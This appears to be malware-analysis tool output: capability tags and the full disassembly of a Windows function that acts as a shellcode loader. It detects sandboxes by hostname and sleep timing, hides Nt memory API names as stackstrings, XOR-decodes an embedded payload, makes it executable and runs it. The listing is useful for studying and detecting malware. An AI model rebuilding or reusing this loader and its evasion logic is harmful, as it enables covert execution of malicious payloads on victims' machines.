Function at 0x140001220
Capabilities:
Check for sandbox username or hostname
Contain obfuscated stackstrings
Encode data using xor
Get hostname

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r14
push rbp
lea rbp, [rsp - 0x1d0]
sub rsp, 0x2d0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x1c0], rax
xor edx, edx
mov r8d, 0x100
lea rcx, [rbp + 0xc0]
call fcn.140017870
mov dword [rbp + 0x80], 0x100
lea rdx, [rbp + 0x80]
lea rcx, [rbp + 0xc0]
call qword [sym.imp.KERNEL32.dll_GetComputerNameA]
test eax, eax
jne 0x14000129c
lea rcx, str.Get_computer_name_failed_:__n
call fcn.140001010
jmp 0x1400018de
mov r8d, dword [rbp + 0x80]
lea rdx, str.HAL9TH
lea rcx, [rbp + 0xc0]
call fcn.140009730
test eax, eax
je 0x14000130c
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
mov rbx, rax
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
sub rax, rbx
cmp rax, 0x2710
jb 0x1400018de
lea rcx, str.NTDLL.DLL
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rdi, rax
test rax, rax
jne 0x140001313
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____GetModuleHandle_Failed_With_Error_:__d__n
call fcn.140001010
xor eax, eax
jmp 0x1400018e3
xorps xmm0, xmm0
movups xmmword [rbp + 0x88], xmm0
mov r14d, 0xf
mov qword [rbp + 0xa0], r14
mov esi, 0x744e
mov word [rbp + 0x88], si
mov qword [rbp + 0x98], 0xa
movabs rax, 0x657461636f6c6c41
mov qword [rbp + 0x8a], rax
mov byte [rbp + 0x92], 0
mov qword [rsp + 0x20], 7
lea r9, str.Virtual
mov edx, 7
lea rcx, [rbp + 0x88]
call fcn.140001980
mov rcx, qword [rbp + 0x98]
mov rdx, qword [rbp + 0xa0]
mov rax, rdx
sub rax, rcx
cmp rax, 6
jb 0x1400013cf
lea rax, [rcx + 6]
mov qword [rbp + 0x98], rax
lea rbx, [rbp + 0x88]
cmp rdx, r14
cmova rbx, qword [rbp + 0x88]
add rbx, rcx
mov r8d, 6
lea rdx, str.Memory
mov rcx, rbx
call fcn.140017c30
mov byte [rbx + 6], 0
jmp 0x1400013f0
mov qword [rsp + 0x20], 6
lea r9, str.Memory
mov edx, 6
lea rcx, [rbp + 0x88]
call fcn.140001980
xorps xmm0, xmm0
movups xmmword [rbp + 0x60], xmm0
mov qword [rbp + 0x78], r14
mov word [rbp + 0x60], si
mov byte [rbp + 0x62], 0
mov ecx, 9
mov qword [rbp + 0x70], rcx
mov rax, qword [str.Protect]
mov dword [rbp + 0x62], eax
movzx eax, word [0x140021634]
mov word [rbp + 0x66], ax
movzx eax, byte [0x140021636]
mov byte [rbp + 0x68], al
mov byte [rbp + 0x69], 0
mov qword [rsp + 0x20], 7
lea r9, str.Virtual
mov edx, 7
lea rcx, [rbp + 0x60]
call fcn.140001980
mov rcx, qword [rbp + 0x70]
mov rdx, qword [rbp + 0x78]
mov rax, rdx
sub rax, rcx
cmp rax, 6
jb 0x140001494
lea rax, [rcx + 6]
mov qword [rbp + 0x70], rax
lea rbx, [rbp + 0x60]
cmp rdx, 0xf
cmova rbx, qword [rbp + 0x60]
add rbx, rcx
mov r8d, 6
lea rdx, str.Memory
mov rcx, rbx
call fcn.140017c30
mov byte [rbx + 6], 0
jmp 0x1400014b2
mov qword [rsp + 0x20], 6
lea r9, str.Memory
mov edx, 6
lea rcx, [rbp + 0x60]
call fcn.140001980
lea rdx, [rbp + 0x88]
cmp qword [rbp + 0xa0], 0xf
cmova rdx, qword [rbp + 0x88]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
lea rdx, [rbp + 0x60]
cmp qword [rbp + 0x78], 0xf
cmova rdx, qword [rbp + 0x60]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
test rsi, rsi
je 0x14000184c
test rax, rax
je 0x14000184c
mov dword [rsp + 0x40], 0x718299bd
mov dword [rsp + 0x44], 0x38ca0fbe
mov dword [rsp + 0x48], 0x50904100
mov dword [rsp + 0x4c], 0x5bb51ed4
mov dword [rsp + 0x50], 0x370486e
mov dword [rsp + 0x54], 0xb5c5dd64
mov dword [rsp + 0x58], 0x138b706a
mov dword [rsp + 0x5c], 0x1c1e49c9
mov dword [rsp + 0x60], 0x72b342c7
mov dword [rsp + 0x64], 0x220e9911
mov dword [rsp + 0x68], 0x947ad04
mov dword [rsp + 0x6c], 0xc1e009c9
mov dword [rsp + 0x70], 0x76867239
mov dword [rsp + 0x74], 0x90612c3a
mov dword [rsp + 0x78], 0xa6435cc0
mov dword [rsp + 0x7c], 0xace2f90b
mov dword [rbp - 0x80], 0x6c44083
mov dword [rbp - 0x7c], 0x8b18586c
mov dword [rbp - 0x78], 0x9449ed03
mov dword [rbp - 0x74], 0xb08a6c9e
mov dword [rbp - 0x70], 0x49d14100
mov dword [rbp - 0x6c], 0x6d938e10
mov dword [rbp - 0x68], 0x81910170
mov dword [rbp - 0x64], 0xa356dd8a
mov dword [rbp - 0x60], 0x8207881
mov dword [rbp - 0x5c], 0x1876d1d0
mov dword [rbp - 0x58], 0x41f1f5af
mov dword [rbp - 0x54], 0xdd89e5ca
mov dword [rbp - 0x50], 0x947314f
mov dword [rbp - 0x4c], 0xc1e009c9
mov dword [rbp - 0x48], 0xc3260f39
mov dword [rbp - 0x44], 0x10404135
mov dword [rbp - 0x40], 0x163b7539
mov dword [rbp - 0x3c], 0x654c3b46
mov dword [rbp - 0x38], 0x9fac44d9
mov dword [rbp - 0x34], 0x4460d292
mov dword [rbp - 0x30], 0xdc2591ca
mov dword [rbp - 0x2c], 0x796c374f
mov dword [rbp - 0x28], 0x45994d8b
mov dword [rbp - 0x24], 0x43fb0e1e
mov dword [rbp - 0x20], 0x5a00d039
mov dword [rbp - 0x1c], 0xe6061d05
mov dword [rbp - 0x18], 0x5879da
mov dword [rbp - 0x14], 0x14cc5f89
mov dword [rbp - 0x10], 0x597952a6
mov dword [rbp - 0xc], 0x16498b00
mov dword [rbp - 8], 0x6a4bc7a2
mov dword [rbp - 4], 0x4089a1ff
mov dword [rbp], 0x81af14cc
mov dword [rbp + 4], 0x2e16e92a
mov dword [rbp + 8], 0xaf136afe
mov dword [rbp + 0xc], 0x410039b0
mov dword [rbp + 0x10], 0x4e9501d1
mov dword [rbp + 0x14], 0x8db542e7
mov dword [rbp + 0x18], 0x9501d040
mov dword [rbp + 0x1c], 0xb33b5d0f
mov dword [rbp + 0x20], 0xd42ec66f
mov dword [rbp + 0x24], 0xa852be2e
mov dword [rbp + 0x28], 0x77fb416e
mov dword [rbp + 0x2c], 0x18d32894
mov dword [rbp + 0x30], 0x858370df
mov dword [rbp + 0x34], 0x32933df9
mov dword [rbp + 0x38], 0xe0c38aed
mov dword [rbp + 0x3c], 0xd2bad434
mov dword [rbp + 0x40], 0x5265955d
mov dword [rbp + 0x44], 0x88901800
mov dword [rbp + 0x48], 0x6932b14f
mov dword [rbp + 0x4c], 0xff226c59
mov dword [rbp + 0x50], 0xe72bed64
mov byte [rbp + 0x54], 0xa
xor ebx, ebx
mov qword [rsp + 0x30], rbx
mov qword [rbp + 0xb0], 0x115
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0x3000
lea r9, [rbp + 0xb0]
xor r8d, r8d
lea rdx, [rsp + 0x30]
mov rcx, 0xffffffffffffffff
call rsi
mov r8d, ebx
mov r9d, ebx
movabs r10, 0xe38e38e38e38e38f
lea r11, [0x140021658]
nop dword [rax]
movsxd rcx, r8d
mov rax, r10
mul rcx
shr rdx, 3
lea rax, [rdx + rdx*8]
sub rcx, rax
movzx edx, byte [rcx + r11]
xor dl, byte [rsp + r9 + 0x40]
mov rax, qword [rsp + 0x30]
mov byte [r9 + rax], dl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x115
jb 0x140001750
mov dword [rbp + 0xa8], ebx
lea rax, [rbp + 0xa8]
mov qword [rsp + 0x20], rax
mov r9d, 0x20
lea r8, [rbp + 0xb0]
lea rdx, [rsp + 0x30]
mov rcx, 0xffffffffffffffff
call rdi
call qword [rsp + 0x30]
nop
mov rdx, qword [rbp + 0x78]
cmp rdx, 0xf
jbe 0x1400017f4
inc rdx
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400017ef
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001915
call fcn.140001c84
mov qword [rbp + 0x70], rbx
mov qword [rbp + 0x78], r14
mov byte [rbp + 0x60], 0
mov rdx, qword [rbp + 0xa0]
cmp rdx, 0xf
jbe 0x14000130c
inc rdx
mov rcx, qword [rbp + 0x88]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001840
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000190f
call fcn.140001c84
xor eax, eax
jmp 0x1400018e3
lea rcx, str.GetProcAddress_failed_:_
call fcn.140001010
nop
mov rdx, qword [rbp + 0x78]
cmp rdx, 0xf
jbe 0x140001894
inc rdx
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000188f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001915
call fcn.140001c84
xor ebx, ebx
mov qword [rbp + 0x70], rbx
mov qword [rbp + 0x78], r14
mov byte [rbp + 0x60], bl
mov rdx, qword [rbp + 0xa0]
cmp rdx, 0xf
jbe 0x1400018de
inc rdx
mov rcx, qword [rbp + 0x88]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400018d9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000190f
call fcn.140001c84
mov eax, 1
mov rcx, qword [rbp + 0x1c0]
xor rcx, rsp
call fcn.140001c20
lea r11, [rsp + 0x2d0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
call fcn.140009b54
nop
call fcn.140009b54
nop
int3